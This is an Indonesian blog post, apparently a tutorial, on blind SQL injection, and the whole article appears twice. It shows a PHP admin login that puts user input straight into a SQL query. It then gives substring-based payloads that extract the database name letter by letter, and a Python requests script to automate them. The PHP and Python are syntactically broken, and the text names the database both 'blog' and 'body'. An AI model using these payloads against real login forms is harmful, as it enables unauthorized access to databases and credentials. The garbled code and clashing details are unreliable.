Halaman

    Social Items


BLIND  SQL INJECTION


Blind SQL Ini adalah metode hacking yang memungkinkan seorang Attacker yang tidak sah untuk mengakses server database.
Hal ini difasilitasi oleh sebuah kesalahan pengkodean umum: program menerima data dari klien dan mengeksekusi query SQL tanpa terlebih dahulu memvalidasi masukan klien.

Dalam contoh kasus yang saya miliki, dalam page Login Admin dengan penggalan program seperti di bawah ini :

if (isset($_POST[‘submin’])){
                $username = $_POST[‘username’];
                $password = $_POST[‘password’];
                $login = mysqli_query($conn, *SELECT * FROM user WHERE username = ‘{username}’ AND password}’”);
                if (mysqli_num_rows(%login) == 0){
                                die(“Username atau password salah!”);
                } else {
                                $_SESSION[‘admin’] = 1;
                                Header(“Location: admin.php”);
}
}

Dalam penggalan program di atas bisa di lihat tidak di tampilkan hasil querynya, hanya dicek dua kondisi.
Yang pertama kalau kondisi salah :
            
if (mysqli_num_rows(%login) == 0){
                                die(“Username atau password salah!”);
}

Dan yang kedua kondisi benar :

$_SESSION[‘admin’] = 1;
                                Header(“Location: admin.php”);

Dalam dua kondisi tersebut bisa di manfaatkan untuk mengambil data dari suatu database bahkan jika SELECT * FROM user WHERE username ditampilkan hasil Querynya, yaitu teknik dengan BLIND
Selanjutnya kita akan mencari tahu dan masuk ke dalam halaman Admin dengan mencoba di page login, (dengan nama database saya ‘blog’ ini adalah syntact programnya:
Dalam username di isi dengan memanfaatkan fungsi substring, jadi kita cek satu persatu huruf nya

Xyz’ OR BINARY substring(database(), 1, 1) =’a’ --

Program di atas, dicek apakah huruf pertama dari database itu sama dengan ‘a’.  

maka akan muncul



Jika program di atas salah, berarti huruf depan database bukan ‘a’ maka di coba kembali dengan huruf lain hingga ada yang benar.
dan ini adalah program yang benar
Xyz’ OR BINARY substring(database(), 1, 1) =’b’ --          



  
Kenapa bisa benar? Karena dalam nama database yang saya miliki huruf depannya ‘b’ dalam ‘blog’, selanjutnya jika ingin mencari huruf kedua sampai selanjutnya masukkan program

Xyz’ OR BINARY substring(database(), 2, 1) =’a’ - -

Dan seterusnya hingga dapat nama database “body”.
Jika menggunakan cara seperti tadi kurang efektif bisa menggunakan scrip phyton seperti modul request ke halaman web tadi.
Buat program baru, lalu masukkan kode program seperti ini :
import requests
url : ‘http://localhost/blog/andmin_login.php’   //ini adalah url targetnya
for c in range 1, 10);
for c in range(0x20, 0x7f);

username = “xyz’ OR BINARY substring(database(), 1, 1= ‘%s’ - -  ” % (chr(c))
password = “12345” //option saja bebas di isi apa saja

form =  {‘username’ : uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
if “Halaman administrasi blog” in response.text;
                status = True
elif “Username atau password salah!” in response.text;
                status = False
if status == True ;
                print chr(c)
break
dengan kode program di atas kita bisa mengetahui nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan ditampilkan seperti ini :


Dan selain bisa tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja yang ada di dalam database tersebut.


SQL Injection Dengan Metode BLIND


BLIND  SQL INJECTION


Blind SQL Ini adalah metode hacking yang memungkinkan seorang Attacker yang tidak sah untuk mengakses server database.
Hal ini difasilitasi oleh sebuah kesalahan pengkodean umum: program menerima data dari klien dan mengeksekusi query SQL tanpa terlebih dahulu memvalidasi masukan klien.

Dalam contoh kasus yang saya miliki, dalam page Login Admin dengan penggalan program seperti di bawah ini :

if (isset($_POST[‘submin’])){
                $username = $_POST[‘username’];
                $password = $_POST[‘password’];
                $login = mysqli_query($conn, *SELECT * FROM user WHERE username = ‘{username}’ AND password}’”);
                if (mysqli_num_rows(%login) == 0){
                                die(“Username atau password salah!”);
                } else {
                                $_SESSION[‘admin’] = 1;
                                Header(“Location: admin.php”);
}
}

Dalam penggalan program di atas bisa di lihat tidak di tampilkan hasil querynya, hanya dicek dua kondisi.
Yang pertama kalau kondisi salah :
            
if (mysqli_num_rows(%login) == 0){
                                die(“Username atau password salah!”);
}

Dan yang kedua kondisi benar :

$_SESSION[‘admin’] = 1;
                                Header(“Location: admin.php”);

Dalam dua kondisi tersebut bisa di manfaatkan untuk mengambil data dari suatu database bahkan jika SELECT * FROM user WHERE username ditampilkan hasil Querynya, yaitu teknik dengan BLIND
Selanjutnya kita akan mencari tahu dan masuk ke dalam halaman Admin dengan mencoba di page login, (dengan nama database saya ‘blog’ ini adalah syntact programnya:
Dalam username di isi dengan memanfaatkan fungsi substring, jadi kita cek satu persatu huruf nya

Xyz’ OR BINARY substring(database(), 1, 1) =’a’ --

Program di atas, dicek apakah huruf pertama dari database itu sama dengan ‘a’.  

maka akan muncul



Jika program di atas salah, berarti huruf depan database bukan ‘a’ maka di coba kembali dengan huruf lain hingga ada yang benar.
dan ini adalah program yang benar
Xyz’ OR BINARY substring(database(), 1, 1) =’b’ --          



  
Kenapa bisa benar? Karena dalam nama database yang saya miliki huruf depannya ‘b’ dalam ‘blog’, selanjutnya jika ingin mencari huruf kedua sampai selanjutnya masukkan program

Xyz’ OR BINARY substring(database(), 2, 1) =’a’ - -

Dan seterusnya hingga dapat nama database “body”.
Jika menggunakan cara seperti tadi kurang efektif bisa menggunakan scrip phyton seperti modul request ke halaman web tadi.
Buat program baru, lalu masukkan kode program seperti ini :
import requests
url : ‘http://localhost/blog/andmin_login.php’   //ini adalah url targetnya
for c in range 1, 10);
for c in range(0x20, 0x7f);

username = “xyz’ OR BINARY substring(database(), 1, 1= ‘%s’ - -  ” % (chr(c))
password = “12345” //option saja bebas di isi apa saja

form =  {‘username’ : uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
if “Halaman administrasi blog” in response.text;
                status = True
elif “Username atau password salah!” in response.text;
                status = False
if status == True ;
                print chr(c)
break
dengan kode program di atas kita bisa mengetahui nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan ditampilkan seperti ini :


Dan selain bisa tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja yang ada di dalam database tersebut.


Tidak ada komentar